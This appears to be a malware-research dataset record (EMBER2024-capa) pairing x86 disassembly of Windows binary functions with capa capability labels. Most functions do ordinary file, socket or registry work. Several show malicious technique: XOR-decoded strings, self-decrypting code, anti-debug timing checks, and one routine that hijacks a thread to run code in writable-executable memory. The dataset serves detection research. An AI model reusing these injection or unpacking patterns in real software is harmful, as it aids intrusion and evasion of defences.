joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ec0d0
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
push edi
push esi
sub esp, 0x20
cmp dword [ecx + 4], 0
mov esi, ecx
je 0x4ec151
lea ebx, [esi + 0xc]
mov dword [esp + 4], 0
lea eax, [esp + 4]
push 0
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
cmp eax, 1
mov dword [esp], eax
jne 0x4ec18c
cmp dword [esp + 4], 0
je 0x4ec173
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4ec1aa
mov edi, eax
inc eax
mov dword [esi], eax
mov eax, dword [0x537fe4]
nop word cs:[eax + eax]
nop
mov dword [esi + 8], eax
lock cmpxchg dword [0x537fe4], esi
jne 0x4ec130
mov byte [0x537fe0], 1
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_InitOnceComplete]
jmp 0x4ec183
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esp], eax
je 0x4ec1eb
mov ecx, eax
xor eax, eax
inc ecx
lock cmpxchg dword [esi], ecx
jne 0x4ec177
mov edi, dword [esp]
jmp 0x4ec183
mov edi, dword [esi]
jmp 0x4ec182
mov edi, eax
push dword [esp]
call dword [sym.imp.KERNEL32.dll_TlsFree]
dec edi
mov eax, edi
add esp, 0x20
pop esi
pop edi
pop ebx
ret
mov dword [esp + 8], 0
lea eax, [esp + 8]
mov ecx, esp
mov edx, 0x529cd4
push 0x529d34
push eax
call fcn.004ec220
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_InitOnceComplete]
lea ecx, [esp + 8]
mov edx, 0x529d24
mov dword [esp + 8], 0x529cec
mov dword [esp + 0xc], 1
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], str.C:Usersigame.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.6.6_src_aes.rs0
mov dword [esp + 0x14], 0
call fcn.004e88e0
mov ecx, esp
lea edx, [esp + 8]
mov dword [esp + 8], 0x529cec
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], str.C:Usersigame.cargo_registry_srcindex.crates.io_6f17d22bba15001fzip_0.6.6_src_aes.rs0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call fcn.004ec250
int3

Function at 0x4ec5a0
Capabilities:
Resolve dns

Disassembly:
push ebx
push edi
push esi
sub esp, 0x34
mov esi, ecx
lea ecx, [esp + 4]
push dword [esp + 0x44]
call fcn.004019a0
add esp, 4
mov eax, dword [esp + 4]
cmp eax, 0x80000000
jne 0x4ec613
mov edi, dword [esp + 8]
mov ebx, dword [esp + 0xc]
xorps xmm0, xmm0
mov eax, esp
mov dword [esp], 0
lea ecx, [esp + 0x14]
movups xmmword [esp + 0x14], xmm0
movups xmmword [esp + 0x24], xmm0
mov dword [esp + 0x1c], 1
push eax
push ecx
push 0
push edi
call dword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x4ec635
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
mov dword [esi + 8], eax
mov dword [esi + 4], 0
mov eax, 1
jmp 0x4ec649
mov ecx, dword [0x528c28]
mov edx, dword [0x528c2c]
test eax, eax
mov dword [esi + 8], edx
mov dword [esi + 4], ecx
mov dword [esi], 1
je 0x4ec661
push dword [esp + 8]
jmp 0x4ec653
mov ecx, dword [esp]
movzx eax, word [esp + 0x48]
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
mov word [esi + 0xc], ax
xor eax, eax
test ebx, ebx
mov dword [esi], eax
mov byte [edi], 0
je 0x4ec661
push edi
push 0
push dword [0x537fc8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x34
pop esi
pop edi
pop ebx
ret
Function at 0x45ac9e
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 4]
je 0x45acb8
jmp 0x45acc1
mov eax, 1
test eax, eax
jne 0x45acab
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
movsx ecx, word [ebp + 8]
cmp eax, ecx
jb 0x45acd4
jmp 0x45acdd
mov edx, 1
test edx, edx
jne 0x45acc1
mov esp, ebp
pop ebp
ret
Function at 0x46b8a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov word [ebp - 0xc], 0
movsx eax, byte [0x4d50d1]
cmp eax, 0x53
jne 0x46b8d2
mov cx, word [ebp + 0xc]
push ecx
call fcn.0045c1b0
add esp, 4
mov word [ebp - 8], ax
mov ax, word [ebp - 8]
jmp 0x46baa6
call fcn.00472d61
test eax, eax
jne 0x46b8fe
push 1
lea edx, [ebp + 0xc]
push edx
call fcn.00472c93
add esp, 8
test eax, eax
jne 0x46b8f6
mov ax, 1
jmp 0x46baa6
xor ax, ax
jmp 0x46baa6
movsx eax, byte [0x526a58]
test eax, eax
je 0x46b912
mov ax, 1
jmp 0x46baa6
cmp dword [0x4f84bc], 0
jae 0x46b924
mov ax, 1
jmp 0x46baa6
mov cx, word [0x5265ea]
push ecx
call fcn.00432b23
add esp, 4
mov dx, word [0x576b2e]
shr dx, 5
and dx, 1
and edx, 0xffff
cmp edx, 1
je 0x46b966
mov ax, word [0x576b2e]
shr ax, 6
and ax, 1
and eax, 0xffff
cmp eax, 1
jne 0x46b968
jmp 0x46b971
mov ecx, 1
test ecx, ecx
jne 0x46b924
mov word [ebp - 0xc], 0
mov word [ebp - 0x10], 0
jmp 0x46b98b
mov dx, word [ebp - 0x10]
add dx, 1
mov word [ebp - 0x10], dx
movsx eax, word [ebp - 0x10]
cmp eax, 2
jge 0x46ba57
push 0x52c280
lea ecx, [ebp - 4]
push ecx
push 1
lea edx, [ebp + 0xc]
push edx
mov eax, dword [0x4f84bc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x46ba50
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x46ba2d
mov word [ebp - 0xc], 0
push 1
lea ecx, [ebp - 4]
push ecx
push 0x52c280
mov edx, dword [0x4f84bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x46ba20
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e4
jne 0x46b9f9
jmp 0x46b9ce
mov ax, word [0x4d21b6]
push eax
mov cx, word [0x5265ea]
push ecx
call fcn.00432b00
add esp, 8
push 0x32
call fcn.0045ac9e
add esp, 4
mov word [ebp - 0xc], 0x53
movsx edx, word [ebp - 0xc]
cmp edx, 0x53
je 0x46ba2b
jmp 0x46ba57
jmp 0x46ba4e
mov ax, word [0x4d21b6]
push eax
mov cx, word [0x5265ea]
push ecx
call fcn.00432b00
add esp, 8
push 0x32
call fcn.0045ac9e
add esp, 4
jmp 0x46ba52
jmp 0x46ba57
jmp 0x46b97f
mov edx, dword [0x5284c4]
and edx, 0xfff
mov dword [0x5284c4], edx
mov eax, dword [0x5284c4]
mov byte [eax + 0x52b1c0], 0x54
mov ecx, dword [0x5284c4]
add ecx, 1
mov dword [0x5284c4], ecx
mov edx, dword [0x5284c4]
mov al, byte [ebp + 0xc]
mov byte [edx + 0x52b1c0], al
mov ecx, dword [0x5284c4]
add ecx, 1
mov dword [0x5284c4], ecx
mov ax, 1
mov esp, ebp
pop ebp
ret
Function at 0x46baaa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov word [ebp - 0x18], 0
movsx eax, byte [0x4d50d1]
cmp eax, 0x53
jne 0x46bae0
mov cx, word [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.0045c220
add esp, 8
mov word [ebp - 0x14], ax
mov ax, word [ebp - 0x14]
jmp 0x46bcc4
call fcn.00472d61
test eax, eax
jne 0x46bb0f
mov ax, word [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00472c93
add esp, 8
test eax, eax
jne 0x46bb07
mov ax, 1
jmp 0x46bcc4
xor ax, ax
jmp 0x46bcc4
movsx edx, byte [0x526a58]
test edx, edx
je 0x46bb22
xor ax, ax
jmp 0x46bcc4
cmp dword [0x4f84bc], 0
jae 0x46bb34
mov ax, 1
jmp 0x46bcc4
mov ax, word [0x5265ea]
push eax
call fcn.00432b23
add esp, 4
mov cx, word [0x576b2e]
shr cx, 5
and cx, 1
and ecx, 0xffff
cmp ecx, 1
je 0x46bb77
mov dx, word [0x576b2e]
shr dx, 6
and dx, 1
and edx, 0xffff
cmp edx, 1
jne 0x46bb79
jmp 0x46bb82
mov eax, 1
test eax, eax
jne 0x46bb34
mov word [ebp - 0x18], 0
mov word [ebp - 0x20], 0
jmp 0x46bb9c
mov cx, word [ebp - 0x20]
add cx, 1
mov word [ebp - 0x20], cx
movsx edx, word [ebp - 0x20]
cmp edx, 2
jge 0x46bcc0
push 0x52c280
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0x10]
and ecx, 0xffff
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [0x4f84bc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x46bcb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x46bc71
mov word [ebp - 0x18], 0
push 1
lea ecx, [ebp - 4]
push ecx
push 0x52c280
mov edx, dword [0x4f84bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x46bc64
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e4
jne 0x46bc16
jmp 0x46bbeb
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [0x4f84bc]
push edx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov eax, dword [ebp - 0x1c]
push eax
push str.Errorcode_1
call fcn.0045ab38
add esp, 8
mov cx, word [0x4d21b6]
push ecx
mov dx, word [0x5265ea]
push edx
call fcn.00432b00
add esp, 8
push 0x32
call fcn.0045ac9e
add esp, 4
mov word [ebp - 0x18], 0x53
movsx eax, word [ebp - 0x18]
cmp eax, 0x53
je 0x46bc6f
jmp 0x46bcc0
jmp 0x46bcb7
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [0x4f84bc]
push eax
call dword [sym.imp.KERNEL32.dll_ClearCommError]
mov ecx, dword [ebp - 0x1c]
push ecx
push str.Errorcode_2
call fcn.0045ab38
add esp, 8
mov dx, word [0x4d21b6]
push edx
mov ax, word [0x5265ea]
push eax
call fcn.00432b00
add esp, 8
push 0x32
call fcn.0045ac9e
add esp, 4
jmp 0x46bcbb
jmp 0x46bcc0
jmp 0x46bb90
mov ax, 1
mov esp, ebp
pop ebp
ret
Function at 0x46bcc8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 1
movsx eax, byte [0x4d50d1]
cmp eax, 0x53
jne 0x46bcf1
call fcn.0045c2ec
mov byte [ebp - 8], al
mov al, byte [ebp - 8]
jmp 0x46bd9d
call fcn.00472d61
test eax, eax
jne 0x46bd19
lea ecx, [ebp - 0xc]
push ecx
call fcn.00472cc4
add esp, 4
test eax, eax
jne 0x46bd12
mov al, byte [ebp - 0xc]
jmp 0x46bd9d
mov al, 3
jmp 0x46bd9d
movsx edx, byte [0x526a58]
test edx, edx
je 0x46bd28
mov al, 3
jmp 0x46bd9d
cmp dword [0x4f84bc], 0
jae 0x46bd35
mov al, 0x45
jmp 0x46bd9d
push 0x52c7e0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0xc]
push edx
mov eax, dword [0x4f84bc]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x5284c4]
and ecx, 0xfff
mov dword [0x5284c4], ecx
mov edx, dword [0x5284c4]
mov byte [edx + 0x52b1c0], 0x52
mov eax, dword [0x5284c4]
add eax, 1
mov dword [0x5284c4], eax
mov ecx, dword [0x5284c4]
mov dl, byte [ebp - 0xc]
mov byte [ecx + 0x52b1c0], dl
mov eax, dword [0x5284c4]
add eax, 1
mov dword [0x5284c4], eax
mov al, byte [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x472cf0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x5284d4], 1
jne 0x472d03
xor eax, eax
jmp 0x472d5d
push 0
push 1
push 0x5284d0
mov eax, dword [0x518904]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0xffffffff
je 0x472d3d
cmp dword [ebp - 8], 1
je 0x472d2f
jmp 0x472d58
mov dword [0x5284d4], 1
xor eax, eax
jmp 0x472d5d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x472d51
mov eax, 2
jmp 0x472d5d
mov eax, 1
jmp 0x472d5d
mov eax, 3
mov esp, ebp
pop ebp
ret

Function at 0x472d6b
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
push esi
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x472daf
mov esi, dword [ebp + 0x10]
and esi, 0xff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_ntohl]
add esi, eax
mov dword [ebp - 8], esi
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 8], eax
jmp 0x472deb
lea eax, [ebp - 0x198]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp - 4], 0
jne 0x472dde
mov eax, 1
jmp 0x472e2d
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
shr eax, 0x18
and eax, 0xff
push eax
mov ecx, dword [ebp - 8]
shr ecx, 0x10
and ecx, 0xff
push ecx
mov edx, dword [ebp - 8]
shr edx, 8
and edx, 0xff
push edx
mov eax, dword [ebp - 8]
and eax, 0xff
push eax
push str._d._d._d._d
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004bcebb
add esp, 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x492a7c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x5284ec], 0
jne 0x492b49
mov dword [0x4d21e0], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
jmp 0x492ab4
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x3e8
jge 0x492ad3
call fcn.00472cf0
mov ecx, dword [0x4d21e0]
add ecx, 1
mov dword [0x4d21e0], ecx
jmp 0x492aab
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
cmp edx, 0x1f4
jb 0x492aa2
mov eax, dword [0x4d21e0]
shl eax, 2
mov dword [0x4d21e0], eax
mov ecx, dword [0x4d21e0]
mov dword [0x5284e4], ecx
mov edx, dword [0x4d21e0]
mov dword [0x4d21e4], edx
mov eax, dword [0x4d21e0]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
fild qword [ebp - 0x14]
fmul dword [0x4d21e8]
call fcn.004bcf10
mov dword [0x4d21e0], eax
mov ecx, dword [0x4d21e4]
mov dword [0x5284e0], ecx
mov dword [0x5284ec], 1
jmp 0x492b76
mov edx, dword [0x5284e4]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
fild qword [ebp - 0x1c]
fmul dword [0x4d21e8]
call fcn.004bcf10
mov dword [0x4d21e0], eax
mov eax, dword [0x5284e0]
mov dword [0x4d21e4], eax
mov dword [0x4d21f4], 0x53
mov esp, ebp
pop ebp
ret
Function at 0x4bcc98
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4bccf0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
push dword [ebp + 8]
push esi
push esi
push 0x5284f4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4bcce3
push 1
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x4bccf2
xor eax, eax
pop esi
leave
ret 4
Function at 0x100019c0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003026
mov eax, dword fs:[0]
push eax
sub esp, 0x2f4
mov eax, dword [0x10006008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, 0xd6
xor eax, eax
nop dword [eax]
nop word [eax + eax]
mov cl, byte [eax + 0x100041fc]
xor cl, dl
mov byte [ebp + eax - 0x2f4], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10001a00
mov byte [ebp - 0x2e2], 0
push 0x3f64c6a3
lea ecx, [ebp - 0x300]
mov dword [ebp - 4], 0
call fcn.10001f10
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 4], 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x14]
mov word [ebp - 0x2f8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov word [ebp - 0x2e4], 0
push 0x100
push esi
movq qword [ebp - 0x300], xmm0
movups xmmword [ebp - 0x2f4], xmm0
mov byte [ebp - 0x2e2], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x2e0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x230], 0x10001ba0
push eax
push esi
mov dword [ebp - 0x2e0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100020a7
mov esp, ebp
pop ebp
ret
Function at 0x10001db0
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
sub dword [ebp + 0xc], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [0x1001c5d0], eax
jne 0x10001ecc
mov eax, str.bikl___iuk
lea ecx, [ebp - 0x10]
sub eax, 0x3161c27e
push eax
call fcn.10001f90
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10001e0f
mov eax, str.offo___jht
lea ecx, [ebp - 0x1c]
sub eax, 0x29bcd4b9
push eax
call fcn.10002020
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10001e0f
xor al, al
jmp 0x10001e11
mov al, 1
test al, al
je 0x10001e20
sub esp, 0x14
call fcn.100019c0
add esp, 0x14
mov edx, 0x6e
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + str._U_e]
xor cl, dl
mov byte [ebp + eax - 0x60], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x42
jb 0x10001e30
mov byte [ebp - 0x1e], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea ecx, [ebp - 0x60]
push ecx
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x10001ecc
movaps xmm1, xmmword [0x100042a0]
movaps xmm2, xmmword [str.wwwwwwwwwwwwwwww]
movups xmm0, xmmword [eax + 0x10006220]
psubb xmm0, xmm1
movups xmmword [eax + 0x10006220], xmm0
movups xmm0, xmmword [eax + 0x10006220]
pxor xmm0, xmm2
movups xmmword [eax + 0x10006220], xmm0
movups xmm0, xmmword [eax + 0x10006230]
psubb xmm0, xmm1
movups xmmword [eax + 0x10006230], xmm0
movups xmm0, xmmword [eax + 0x10006230]
pxor xmm0, xmm2
movups xmmword [eax + 0x10006230], xmm0
add eax, 0x20
cmp eax, 0x16000
jb 0x10001e72
sub esp, 0x18
call fcn.10001610
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402690
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, ecx
cmp dword [esi + 0xc], 0
jne 0x4026a5
xor eax, eax
pop esi
add esp, 0xc
ret 8
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push edi
lea edi, [esi + 0x24]
push edi
lea eax, [esp + 0x24]
push eax
mov eax, dword [esi + 4]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402736
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebp
cmp eax, 0x3e5
jne 0x402719
mov edx, dword [esi + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 1
lea ecx, [esp + 0x28]
push ecx
push edi
push edx
call ebx
test eax, eax
jne 0x402735
call ebp
mov ecx, dword [esi + 4]
cmp eax, 0x3e4
jne 0x402724
push 1
lea eax, [esp + 0x28]
push eax
push edi
push ecx
call ebx
test eax, eax
je 0x4026f0
mov eax, dword [esp + 0x24]
pop ebp
pop edi
pop ebx
pop esi
add esp, 0xc
ret 8
mov ecx, dword [esi + 4]
mov dword [esp + 0x24], 0
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
pop ebp
mov eax, dword [esp + 0x20]
pop edi
pop ebx
pop esi
add esp, 0xc
ret 8

Function at 0x4037b0
Capabilities:
Create directory

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0xc]
sub esp, 0x30
push esi
mov esi, dword [esp + 0x3c]
push eax
push str.C:OIDD_s
push ecx
push esi
call fcn.0042abf0
add esp, 0x10
cmp dword [esp + 0x44], 0
je 0x403811
lea edx, [esp + 4]
push edx
push str.C:OIDD
call fcn.0042a79f
add esp, 8
test eax, eax
je 0x403808
push 0
push str.C:OIDD
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x403808
or eax, 0xffffffff
pop esi
add esp, 0x30
ret 0x10
xor eax, eax
pop esi
add esp, 0x30
ret 0x10
lea eax, [esp + 4]
push eax
push esi
call fcn.0042a79f
add esp, 8
neg eax
sbb eax, eax
pop esi
add esp, 0x30
ret 0x10

Function at 0x4039b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10c
mov eax, dword [0x44c6b0]
xor eax, esp
mov dword [esp + 0x108], eax
push edi
push 1
push 0x104
lea eax, [esp + 0x10]
push eax
push str.initkey.dat
mov edi, ecx
call fcn.004037b0
test eax, eax
je 0x4039fa
or eax, 0xffffffff
pop edi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.00428f13
add esp, 0x10c
ret
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403a53
push 0
lea edx, [esp + 0xc]
push edx
push 0x11
add edi, 0xb
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.00428f13
add esp, 0x10c
ret
mov ecx, dword [esp + 0x110]
pop esi
pop edi
xor ecx, esp
or eax, 0xffffffff
call fcn.00428f13
add esp, 0x10c
ret
Function at 0x403a70
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10c
mov eax, dword [0x44c6b0]
xor eax, esp
mov dword [esp + 0x108], eax
push edi
push 0
push 0x104
lea eax, [esp + 0x10]
push eax
push str.initkey.dat
mov edi, ecx
call fcn.004037b0
test eax, eax
je 0x403aba
or eax, 0xffffffff
pop edi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.00428f13
add esp, 0x10c
ret
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403b13
push 0
lea edx, [esp + 0xc]
push edx
push 0x11
add edi, 0xb
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.00428f13
add esp, 0x10c
ret
mov ecx, dword [esp + 0x110]
pop esi
pop edi
xor ecx, esp
or eax, 0xffffffff
call fcn.00428f13
add esp, 0x10c
ret

Function at 0x404610
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x404646
mov ecx, dword [esp + 4]
push esi
push edi
movsx edi, byte [ecx]
mov esi, eax
shr esi, 8
xor esi, edi
shl eax, 8
and esi, 0xff
xor ax, word [esi*2 + 0x4405e8]
inc ecx
sub edx, 1
movzx eax, ax
jne 0x404620
pop edi
pop esi
ret

Function at 0x4046c0
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x20]
lea ebx, [edi + 4]
push ebx
lea eax, [esp + 0x24]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x404767
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x40475c
mov edx, dword [edi]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 1
lea ecx, [esp + 0x28]
push ecx
push ebx
push edx
call ebp
test eax, eax
jne 0x404757
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [edi]
mov dword [esp + 0x20], eax
cmp eax, 0x3e4
jne 0x404746
add esi, dword [esp + 0x24]
push 1
lea eax, [esp + 0x28]
push eax
push ebx
push ecx
call ebp
test eax, eax
je 0x404710
add esi, dword [esp + 0x24]
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0xc
ret 8
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ClearCommError]
add esi, dword [esp + 0x24]
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0xc
ret 8
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebx
add esp, 0xc
ret 8